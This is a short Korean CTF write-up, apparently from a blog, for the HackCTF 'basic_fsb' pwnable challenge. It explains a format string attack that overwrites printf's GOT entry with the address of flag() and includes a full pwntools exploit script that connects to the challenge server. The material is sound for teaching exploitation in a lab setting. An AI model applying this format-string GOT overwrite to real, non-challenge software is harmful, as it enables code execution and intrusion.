32bit ELF
두 개의 함수가 있다.
flag() = 0x080485B4 = 134514100
printf의 got를 flag()로 overwrite 한다.
payload = printf_got(덮을 위치) + %(flag()-4)x + %n
ex.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3002)
e = ELF('./basic_fsb')
printf_got = e.got['printf']
p.recvuntil(": ")
payload = p32(printf_got)
payload += "%134514096x%n"
p.sendline(payload)
p.interactive()
|
cs |
'WAR GAME > HackCTF' 카테고리의 다른 글
HackCTF Pwnable [rtl_world] 풀이 (0) | 2019.09.05 |
---|---|
HackCTF Pwnable [BOF_PIE] 풀이 (0) | 2019.08.30 |
HackCTF Pwnable [Offset] 풀이 (0) | 2019.08.30 |
HackCTF Pwnable [Simple_Overflow_ver_2] 풀이 (0) | 2019.08.30 |
HackCTF Pwnable [x64 Simple_size_BOF] 풀이 (0) | 2019.08.30 |